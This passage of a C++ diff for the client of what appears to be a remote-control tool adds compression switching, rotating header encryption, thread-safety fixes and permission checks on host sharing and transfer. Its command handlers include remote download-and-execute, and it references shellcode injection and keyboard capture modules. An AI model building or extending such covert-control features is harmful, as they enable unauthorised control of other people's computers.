{
|
||||
size_t r = ZSTD_compress(dst, (size_t)dstLen, src, (size_t)srcLen, ZSTD_CLEVEL_DEFAULT);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
bool IOCPClient::DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
|
||||
{
|
||||
if (m_useZlib) {
|
||||
#if CLIENT_HAS_ZLIB
|
||||
uLongf n = (uLongf)dstLen;
|
||||
int r = uncompress(dst, &n, (const Bytef*)src, (uLong)srcLen);
|
||||
if (r != Z_OK)
|
||||
return false;
|
||||
dstLen = (ULONG)n;
|
||||
return true;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
#if USING_CTX
|
||||
{
|
||||
size_t r = ZSTD_decompressDCtx(m_Dctx, dst, (size_t)dstLen, src, (size_t)srcLen);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
{
|
||||
size_t r = ZSTD_decompress(dst, (size_t)dstLen, src, (size_t)srcLen);
|
||||
if (ZSTD_isError(r))
|
||||
return false;
|
||||
dstLen = (ULONG)r;
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void IOCPClient::PrepareHeaderEncoderForConnect()
|
||||
{
|
||||
if (!m_EncoderType) {
|
||||
return; // Shine:没有头加密函数可换
|
||||
}
|
||||
const int count = HeaderEncCount();
|
||||
|
||||
if (!m_bMainLink) {
|
||||
// 子连接:跟随主连接最新发布的、已被当前后端接受的类型。一次性子连接(文件/
|
||||
// 进程等只连一次)因此不会自己掷骰子撞上 Go fallback 不认识的 V7~V10。
|
||||
// 取舍:后端切换(C++ 主控挂掉、Go fallback 接管)到主连接重连并重发布之间的
|
||||
// 窗口里,子连接会拿旧值反复碰壁;主连接一发布新值就自愈。这里不自己轮转,是为
|
||||
// 了让「一次性子连接只连一次」这种最常见的情形始终用主连接验证过的值。
|
||||
int published = m_conn ? GetHeaderEncSelect(m_conn) : 0;
|
||||
if (published >= 1 && published <= count) {
|
||||
int idx = published - 1;
|
||||
if (idx != m_headerEncIdx.load(std::memory_order_relaxed)) {
|
||||
m_headerEncIdx.store(idx, std::memory_order_relaxed);
|
||||
m_Encoder->SetHeaderEnc(GetHeaderEncoder((HeaderEncType)idx));
|
||||
}
|
||||
return;
|
||||
}
|
||||
// 主连接尚未发布(例如键盘子连接在主连接登录前就建好了):退化为轮转,见下。
|
||||
}
|
||||
|
||||
// 第一次建连沿用构造时确定的类型(继承值或随机初值)。之后只在「上一条连接没有
|
||||
// 被登录接受」时才换下一种:已被接受说明当前后端解析得了这个类型,重连沿用即可;
|
||||
// 无故轮转只会在 Go fallback 上白丢几轮(V7~V10 会被它拒掉)。
|
||||
// m_loginAcked 由 ConnectServer 在本函数**之后**才清零,所以这里读到的是上一条连接
|
||||
// 的结论(见调用处注释)。
|
||||
if (m_headerEncAttempts.fetch_add(1, std::memory_order_relaxed) > 0
|
||||
&& !m_loginAcked.load(std::memory_order_acquire)) {
|
||||
int idx = (m_headerEncIdx.load(std::memory_order_relaxed) + 1) % count;
|
||||
m_headerEncIdx.store(idx, std::memory_order_relaxed);
|
||||
m_Encoder->SetHeaderEnc(GetHeaderEncoder((HeaderEncType)idx));
|
||||
}
|
||||
}
|
||||
|
||||
void IOCPClient::PublishHeaderEncoder()
|
||||
{
|
||||
// 只有主连接、且确实在用 HELL 头加密时才有意义。
|
||||
if (m_bMainLink && m_EncoderType && m_conn) {
|
||||
SetHeaderEncSelect(m_conn, m_headerEncIdx.load(std::memory_order_relaxed));
|
||||
}
|
||||
}
|
||||
|
||||
void IOCPClient::SetMultiThreadCompress(int threadNum)
|
||||
{
|
||||
#if USING_CTX
|
||||
BOOL failed = TRUE;
|
||||
if (threadNum > 1) {
|
||||
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
failed = ZSTD_isError(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
}
|
||||
if (failed) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
@@ -443,6 +626,14 @@ BOOL ConnectWithTimeout(SOCKET sock, const struct sockaddr* addr, int timeout_se
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
// 每次建连(含重连)先定下这次要用的 HELL 头加密函数。必须在建 socket / 启动收发
|
||||
// 线程之前完成:后端只在每条连接的**第一个**包上识别并锁定头加密方式(Go 的
|
||||
// parser.go 首包锁存,认不出就 ErrUnsupported 直接断开),换类型只对「下一条连接的
|
||||
// 首包」有意义;此刻旧连接已断开,也就避开了与收发线程争用编码器对象。
|
||||
// 注意顺序:PrepareHeaderEncoderForConnect 要读上一条连接的 m_loginAcked,故它必须是
|
||||
// 本条连接清零登录标志**之前**的第一条语句。
|
||||
PrepareHeaderEncoderForConnect();
|
||||
|
||||
// 登录确认标志只描述「当前这条连接」:任何一次新建连都先清零,避免上一条连接的
|
||||
// 确认结果替新连接背书(协议切换的自动回退靠它判断新入口是否真的登录成功)。
|
||||
m_loginAcked.store(false, std::memory_order_release);
|
||||
@@ -638,7 +829,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
return FALSE;
|
||||
}
|
||||
m_useWs = true;
|
||||
// 注意:这里不能读 m_useTls——无 TLS 的平台上(macOS/Android)它不存在;
|
||||
// 注意:这里不能读 m_useTls——它只在定义了 YAMA_TLS_CHANNEL 的平台上存在;
|
||||
// 本连接实际走的形态由 wsDegraded 区分:WSS 有锚走 TLS,没锚则明文回退。
|
||||
Mprintf("[WS] WebSocket 已就绪: %s:%d%s%s\n", wsHost.c_str(), (int)port,
|
||||
WS_UPGRADE_PATH, wsDegraded ? " (明文,等待信任锚)"
|
||||
@@ -671,6 +862,17 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
pthread_t id = 0;
|
||||
int ret = pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
if (ret == 0) {
|
||||
// 必须 detach:POSIX 上 CloseHandle / SAFE_CLOSE_HANDLE 是空宏
|
||||
// (common/commands.h:77-78),析构函数里的 SAFE_CLOSE_HANDLE(m_hWorkThread)
|
||||
// 什么都不做,也没有任何地方 pthread_join 过这个线程。未 detach 的 pthread
|
||||
// 退出后不会释放线程结构体和栈,于是**每个 IOCPClient 实例永久泄漏一个线程**
|
||||
// —— 而子连接(屏幕/文件/终端/日志)每次点击都新建一个 IOCPClient。
|
||||
// 泄漏累积到 RLIMIT_NPROC 附近后 pthread_create 开始返回 EAGAIN:
|
||||
// 主连接因为已有线程还活着不受影响,但新开的子连接全部失败,
|
||||
// 表现为「重启客户端就好、点按钮毫无反应」。detach 后线程退出即回收。
|
||||
// 安全性:析构函数仍靠 m_bWorkThread 等待线程收尾;m_hWorkThread 在 POSIX 上
|
||||
// 只当「线程已存在」的标志位用,从不被当作内核句柄解引用。
|
||||
pthread_detach(id);
|
||||
m_bWorkThread = S_RUN;
|
||||
m_bIsRunning = TRUE;
|
||||
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
|
||||
@@ -679,7 +881,16 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
// the TCP stream and prevent any complete command from being delivered.
|
||||
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
|
||||
// is never dereferenced as a kernel handle.
|
||||
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
|
||||
// POSIX 下这个值只当「线程已存在」的非空标志用,从不反向解引用。
|
||||
// 不能用 static_cast<uintptr_t>(id):macOS 的 pthread_t 是
|
||||
// _opaque_pthread_t*(Linux/Android 是整型),指针经整型中转是非法的。
|
||||
// reinterpret_cast 对两种形态都成立(整型→指针 / 指针→指针)。
|
||||
m_hWorkThread = reinterpret_cast<HANDLE>(id);
|
||||
} else {
|
||||
// pthread_create 直接返回错误码(不经 errno):EAGAIN(35)/EPERM(1) 基本就是
|
||||
// 进程/用户的线程数到顶。这条路径原本完全静默——连接看起来「成功」了,
|
||||
// 但没有收包线程,后续 ConnAuth 必然超时,日志里只剩一句"等待响应超时"。
|
||||
Mprintf("[ERROR] pthread_create(WorkThread) failed: ret=%d\n", ret);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
@@ -758,9 +969,13 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(This->m_hWorkThread);
|
||||
This->m_hWorkThread = NULL;
|
||||
This->m_bWorkThread = S_STOP;
|
||||
This->m_bIsRunning = FALSE;
|
||||
delete[] szBuffer;
|
||||
// 最后一步才发布 S_STOP:析构函数以「m_bWorkThread != S_RUN」判断线程已完全退出,
|
||||
// 看到它之后就会释放成员并返回,调用方随即 delete this。反过来写(先 S_STOP 再
|
||||
// m_bIsRunning)等于给析构函数一个提前放行的窗口——最后那句 m_bIsRunning 会写进
|
||||
// 已释放的内存。此后本函数不得再读写 This 的任何成员。
|
||||
This->m_bWorkThread = S_STOP;
|
||||
|
||||
return 0xDEAD;
|
||||
}
|
||||
@@ -841,7 +1056,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (useTls=%d tlsReady=%d)\n",
|
||||
this, bufLen, buf.c_str(), (int)m_useTls, (int)m_tls.IsReady());
|
||||
#else
|
||||
// macOS 没有 TlsChannel(TLS 已在 Windows/Linux/Android 客户端实现)
|
||||
// 该平台没有 TlsChannel(YAMA_TLS_CHANNEL 未定义):没有传输层状态可打
|
||||
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s\n",
|
||||
this, bufLen, buf.c_str());
|
||||
#endif
|
||||
@@ -888,9 +1103,15 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
|
||||
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
// 与发送同一模式:服务端按客户端首个压缩包识别算法,回包使用同一算法,
|
||||
// 因此这里固定用本连接的 m_useZlib 解压。
|
||||
ULONG ulDecompressedLength = ulOriginalLength;
|
||||
bool decompressed = DecompressData(DeCompressedBuffer, ulDecompressedLength,
|
||||
CompressedBuffer, ulCompressedLength);
|
||||
ulOriginalLength = ulDecompressedLength;
|
||||
|
||||
if (decompressed) { //如果解压成功
|
||||
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||
// 走 default 路径忽略,无副作用)。
|
||||
@@ -939,27 +1160,26 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P
|
||||
std::lock_guard<std::mutex> lock(m_Locker);
|
||||
{
|
||||
int cmd = BYTE(szBuffer[0]);
|
||||
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
|
||||
//防止缓冲区溢出// HelloWorld 10 22
|
||||
//数据压缩 压缩算法 微软提供
|
||||
//nSize = 436
|
||||
//destLen = 448
|
||||
#if USING_ZLIB
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
// 线缆压缩:运行期选择 zlib / zstd(默认 zstd)。zlib 用 compressBound 而不是
|
||||
// 1.001n+12 —— 后者对小于约 1KB 的包会比 compressBound 少 1 字节,导致
|
||||
// compress() 返回 Z_BUF_ERROR、小包(心跳 ACK、控制命令)被静默丢弃。
|
||||
// 用 ULONG(32 位)而不是 unsigned long:LP64 下 unsigned long 是 64 位,
|
||||
// 绑不到 CompressData 的 ULONG&,Linux/Android arm64 会直接编译失败。
|
||||
#if CLIENT_HAS_ZLIB
|
||||
ULONG ulCompressedLength = m_useZlib
|
||||
? (ULONG)compressBound(ulOriginalLength)
|
||||
: (ULONG)ZSTD_compressBound(ulOriginalLength);
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
ULONG ulCompressedLength = (ULONG)ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (!CompressData(CompressedBuffer, ulCompressedLength, szBuffer, ulOriginalLength)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d, mode=%s\n",
|
||||
ulOriginalLength, ulCompressedLength, m_useZlib ? "zlib" : "zstd");
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
|
||||
CBuffer m_WriteBuffer;
|
||||
HeaderFlag H = m_Encoder->GetHead();
|
||||
|
||||
+49
-5
@@ -11,8 +11,8 @@
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
// TLS 通道:Windows 走 Schannel,Linux 走 OpenSSL;macOS/Android 下该头为空,
|
||||
// 且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。
|
||||
// TLS 通道:Windows 走 Schannel,Linux / Android / macOS 走 OpenSSL(TlsChannelLinux.cpp)。
|
||||
// 其它平台该头为空,且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。
|
||||
#include "TlsChannel.h"
|
||||
|
||||
// WebSocket 传输(经反代 443 等受限端口接入)。头文件实现,各平台编译目标无需改动。
|
||||
@@ -70,6 +70,8 @@ public:
|
||||
}
|
||||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||
// 只有 HellEncoder 有可替换的头加密函数;Shine 等实现忽略。
|
||||
virtual void SetHeaderEnc(EncFun) {}
|
||||
virtual EncFun GetHeaderEncoder() const
|
||||
{
|
||||
return nullptr;
|
||||
@@ -79,21 +81,27 @@ public:
|
||||
class HellEncoder : public ProtocolEncoder
|
||||
{
|
||||
private:
|
||||
EncFun m_HeaderEnc;
|
||||
// 原子量:主连接重连时会在发送线程/接收线程可能同时使用编码器的时机更换头加密函数,
|
||||
// 只换函数指针(零分配、零释放),读方永远拿到新旧之一,不会 UAF。
|
||||
std::atomic<EncFun> m_HeaderEnc;
|
||||
Encoder *m_BodyEnc;
|
||||
public:
|
||||
HellEncoder(EncFun head, Encoder *body)
|
||||
{
|
||||
m_HeaderEnc = head;
|
||||
m_HeaderEnc.store(head, std::memory_order_relaxed);
|
||||
m_BodyEnc = body;
|
||||
}
|
||||
~HellEncoder()
|
||||
{
|
||||
SAFE_DELETE(m_BodyEnc);
|
||||
}
|
||||
virtual void SetHeaderEnc(EncFun enc) override
|
||||
{
|
||||
m_HeaderEnc.store(enc, std::memory_order_relaxed);
|
||||
}
|
||||
virtual HeaderFlag GetHead() const override
|
||||
{
|
||||
return ::GetHead(m_HeaderEnc);
|
||||
return ::GetHead(m_HeaderEnc.load(std::memory_order_relaxed));
|
||||
}
|
||||
virtual int GetHeadLen() const override
|
||||
{
|
||||
@@ -202,6 +210,15 @@ public:
|
||||
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||||
}
|
||||
|
||||
// 切换线缆压缩模式。只影响下一次建连(调用方随后 Disconnect,重连循环复用本对象);
|
||||
// COMMAND_SET_COMPRESS 用它原地切换,避免 S_CLIENT_UPDATE 把进程内测试客户端停死。
|
||||
void SetWireCompression(bool useZlib) { m_useZlib = useZlib; }
|
||||
|
||||
// 整机配置里选定的线缆压缩模式(新连接构造时读的同一个键)。分享实例会继承它,
|
||||
// 所以分享前按它判断,而不是按当前连接的 m_useZlib:并行上线时不同连接的模式
|
||||
// 可以和配置不一致。
|
||||
static bool ConfiguredWireZlib();
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
@@ -292,6 +309,17 @@ public:
|
||||
m_subConnAuthClientID = clientID;
|
||||
}
|
||||
|
||||
// 标记本对象是主连接。只有 StartClient 里 NewNetClient() 拿到的那一个会调用;
|
||||
// 只有主连接会在登录被接受后发布头加密类型、并在上一条连接未被登录接受时轮转
|
||||
// 探测,子连接一律跟随发布值(见 PrepareHeaderEncoderForConnect / PublishHeaderEncoder)。
|
||||
void MarkMainLink() { m_bMainLink = true; }
|
||||
|
||||
// 把当前 HELL 头加密类型发布到 CONNECT_ADDRESS 的共享槽位(仅主连接有效)。
|
||||
// 必须在服务端**真正接受登录之后**调用(CMD_MASTERSETTING),不能在 ConnectServer
|
||||
// 返回时就调:握手成功不代表后端解析得了这个头(Go fallback 是读到登录包才拒绝),
|
||||
// 而且子连接的 ConnectServer 也会走到那里,会用自己乱撞的值覆盖发布值。
|
||||
void PublishHeaderEncoder();
|
||||
|
||||
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||||
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||
@@ -334,6 +362,12 @@ public:
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
|
||||
protected:
|
||||
// 每次建连前调整 HELL 头加密函数:主连接上一条没被登录接受时换下一种类型轮转探测,
|
||||
// 子连接跟随主连接已发布的类型。必须在建 socket / 启动收发线程之前完成——后端只在
|
||||
// 每条连接的**第一个**包上识别并锁定头加密方式(Go 首包锁存、认不出即断开),所以
|
||||
// 换类型只对「下一条连接的首包」生效;这一步同时读上一条连接的 m_loginAcked,
|
||||
// 因此必须先于 ConnectServer 里的登录标志清零。
|
||||
void PrepareHeaderEncoderForConnect();
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// WebSocket 传输:字节流在 WS 帧里,帧层自己处理 TLS(WSS)或裸 socket(WS)
|
||||
@@ -412,6 +446,12 @@ protected:
|
||||
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||
bool m_subConnAuthEnabled = false;
|
||||
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||
|
||||
// 线缆压缩:本连接构造时读 settings\compress(默认 zstd;配置 zlib 时用 zlib);
|
||||
// COMMAND_SET_COMPRESS 通过 SetWireCompression() 原地改写,下一次建连生效。
|
||||
bool m_useZlib = false;
|
||||
bool CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
|
||||
bool DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
@@ -428,6 +468,10 @@ protected:
|
||||
bool m_exit_while_disconnect;
|
||||
PkgMask* m_masker;
|
||||
BOOL m_EncoderType;
|
||||
// HELL 头加密运行态(见 PrepareHeaderEncoderForConnect / PublishHeaderEncoder)
|
||||
std::atomic<int> m_headerEncIdx{0}; // HeaderEncType 下标(仅 HELL 有意义)
|
||||
std::atomic<int> m_headerEncAttempts{0}; // ConnectServer 已调用次数
|
||||
bool m_bMainLink = false; // StartClient 的主连接标记
|
||||
std::string m_sLocPublicIP;
|
||||
CONNECT_ADDRESS *m_conn = NULL;
|
||||
|
||||
|
||||
@@ -49,7 +49,9 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
if (ret == 0) {
|
||||
m_bWorkThread = S_RUN;
|
||||
m_bIsRunning = TRUE;
|
||||
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
|
||||
// 同 IOCPClient:macOS 的 pthread_t 是 _opaque_pthread_t*,不能经
|
||||
// static_cast<uintptr_t> 中转,reinterpret_cast 对整型/指针两种实现都成立。
|
||||
m_hWorkThread = reinterpret_cast<HANDLE>(id);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
+160
-28
@@ -17,6 +17,7 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "IOCPKCPClient.h"
|
||||
#include "auto_start.h"
|
||||
#include "start_gate.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ScreenPreview.h"
|
||||
@@ -952,6 +953,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("======> Local test client: ignore forbidden \n");
|
||||
break;
|
||||
}
|
||||
const bool isAuthKernel = this->IsAuthKernel();
|
||||
if (isAuthKernel) {
|
||||
iniFile cfg(YAMA_PATH);
|
||||
StartGate::Delay(cfg, "auth", StartGate::kDefaultDelaySec);
|
||||
Mprintf("======> next=%d \n", StartGate::Get(cfg, "auth"));
|
||||
} else if (m_cfg) {
|
||||
StartGate::Delay(*m_cfg, "settings", StartGate::kDefaultDelaySec);
|
||||
Mprintf("======> next=%d \n", StartGate::Get(*m_cfg, "settings"));
|
||||
}
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
break;
|
||||
}
|
||||
@@ -1126,6 +1136,56 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SET_COMPRESS: {
|
||||
// 线缆压缩切换(zstd / zlib):写本机配置后只断开当前连接,复用 IOCPClient
|
||||
// 原地切换 m_useZlib,由 StartClient 重连循环用新模式建链。不能置 S_CLIENT_UPDATE:
|
||||
// 进程内测试客户端的 AutoRun 只在 S_SERVER_EXIT 时重启,详见下方断连处说明。
|
||||
std::string mode;
|
||||
if (ulLength > 1)
|
||||
mode.assign((const char*)szBuffer + 1, ulLength - 1);
|
||||
while (!mode.empty() && (mode.back() == '\0' || mode.back() == ' ' ||
|
||||
mode.back() == '\r' || mode.back() == '\n'))
|
||||
mode.pop_back();
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
if (mode != "zlib" && mode != "zstd") {
|
||||
Mprintf("[compress-switch] unsupported mode '%s', ignored\n", mode.c_str());
|
||||
break;
|
||||
}
|
||||
// 分享实例不能改写整机的线缆压缩配置:它跑的是同一个 OnReceive,放行的话
|
||||
// 分享目标主控就能改掉主机连归属方的模式,主机下次重启会按别家的选择连回来。
|
||||
if (!m_ClientApp || !m_ClientApp->IsMainInstance()) {
|
||||
Mprintf("[compress-switch] refused: not the main instance\n");
|
||||
ClientMsg msg("线缆压缩", "Compression switch refused: only the owning master may switch");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
// 存在分享链路时只允许切回 zstd。压缩模式是整机配置(settings\compress),
|
||||
// 分享实例及后续子连接都会继承;对端若只支持 zstd(如 Go 服务端),切到
|
||||
// zlib 会让分享链路在下次建连后失联。zstd 对所有对端都兼容。
|
||||
if (mode == "zlib" && m_cfg && !m_cfg->GetStr("settings", "share_list").empty()) {
|
||||
Mprintf("[compress-switch] refused zlib: share links present\n");
|
||||
ClientMsg msg("线缆压缩", "Compression switch refused: this host has share links; cancel sharing before switching to zlib");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
if (m_cfg)
|
||||
m_cfg->SetStr("settings", "compress", mode);
|
||||
Mprintf("[compress-switch] set to %s, reconnecting\n", mode.c_str());
|
||||
// 只断开当前连接,不要置 S_CLIENT_UPDATE:进程内测试客户端(MemoryModule 加载的
|
||||
// ServerDll)的 AutoRun 只在 S_SERVER_EXIT 时重启,S_CLIENT_UPDATE 会让 TestRun
|
||||
// 直接返回、AutoRun 退出,客户端停死且主控的"运行测试程序"菜单永久置灰。
|
||||
// 重连循环复用同一个 IOCPClient,这里先把压缩模式切过去即可;子连接在重连后
|
||||
// 由新的 Manager 按配置重建。先断开再切模式,避免旧连接上还有包用新算法发出。
|
||||
if (m_ClientObject) {
|
||||
m_ClientObject->Disconnect();
|
||||
m_ClientObject->SetWireCompression(mode == "zlib");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
@@ -1355,12 +1415,34 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA_FOREVER: {
|
||||
// 转移只能由本机所属主控下发。分享实例也在跑同一个 OnReceive,却被
|
||||
// 分享目标主控控制;放行它会把进程级 master/port/valid_to 改到别处,
|
||||
// 下次重启主连接就搬走了(Linux 客户端同样拒绝)。
|
||||
if (!m_ClientApp->IsMainInstance()) {
|
||||
ClientMsg msg("转移主机", "No permission to accept a transfer");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto now = time(nullptr);
|
||||
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
|
||||
if (now <= valid_to) break; // Avoid assign again
|
||||
if (now <= valid_to) {
|
||||
// 转移期间不接受第二次转移:主机此刻只连着新主控,它无权再改归属,
|
||||
// 否则到期按原主控复原时中间那一跳就成了谁也不认的孤儿。
|
||||
Mprintf("Assign ignored: already assigned until %lld\n", (long long)valid_to);
|
||||
ClientMsg msg("转移主机", "Host is already transferred, ignored");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
// 先校验天数再落盘:天数非法时一个键都不改,避免留下「master 换了但
|
||||
// 没有 valid_to」的半截记录(重启后 assigned 为假,地址却已经变了)。
|
||||
float days = atof(v[2].c_str());
|
||||
if (days <= 0) {
|
||||
Mprintf("Assign ignored: invalid days '%s'\n", v[2].c_str());
|
||||
break;
|
||||
}
|
||||
m_cfg->SetStr("settings", "master", v[0]);
|
||||
m_cfg->SetStr("settings", "port", v[1]);
|
||||
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||
@@ -1371,24 +1453,54 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_cfg->SetStr("settings", "master_transport", std::to_string(shareTransport));
|
||||
else
|
||||
m_cfg->SetStr("settings", "master_transport", "");
|
||||
float days = atof(v[2].c_str());
|
||||
if (days > 0) {
|
||||
auto valid_to = time(0) + days*86400;
|
||||
// overflow after 2038-01-19
|
||||
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
}
|
||||
auto valid_to_new = (long long)(time(0) + days*86400);
|
||||
// overflow after 2038-01-19
|
||||
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to_new));
|
||||
// 真转移:断开当前主控,主连接立刻连到新主控(旧主控上这台主机随即
|
||||
// 离线)。不另起分享实例——那只是「分享」,新主控拿到的是一条不能
|
||||
// 升级、也不真正属于它的旁路连接。新地址由 StartClient 的重连循环
|
||||
// 在下一轮开头从注册表应用(CONNECT_ADDRESS 不参与跨线程同步,
|
||||
// 不能在收包线程里改)。
|
||||
Mprintf("Assign to %s:%s for %llds, moving the main link now\n",
|
||||
v[0].c_str(), v[1].c_str(), (long long)days*86400);
|
||||
if (m_ClientObject)
|
||||
m_ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
case SHARE_TYPE_YAMA: {
|
||||
// 目标键(host:port)只解析一次,share_list 归并与实例登记共用。
|
||||
auto ep = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
const std::string targetKey = (!ep[0].empty() && !ep[1].empty())
|
||||
? ep[0] + ":" + ep[1] : std::string();
|
||||
if (szBuffer[1] == SHARE_TYPE_YAMA) {
|
||||
if (!m_ClientApp->IsMainInstance()) {// 主机只能由所属主控进行分享
|
||||
ClientMsg msg("分享主机", "No permission to share the client");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
// 转移期间不接受分享:主机此刻只连着新主控,新主控无权再把它分出去。
|
||||
// 放行的话,到期按原主控复原后这条分享连接还挂在别处,等于凭空多出
|
||||
// 一条谁也不认的链路(Linux 客户端同样拒绝)。
|
||||
if (time(0) <= atoi(m_cfg->GetStr("settings", "valid_to").c_str())) {
|
||||
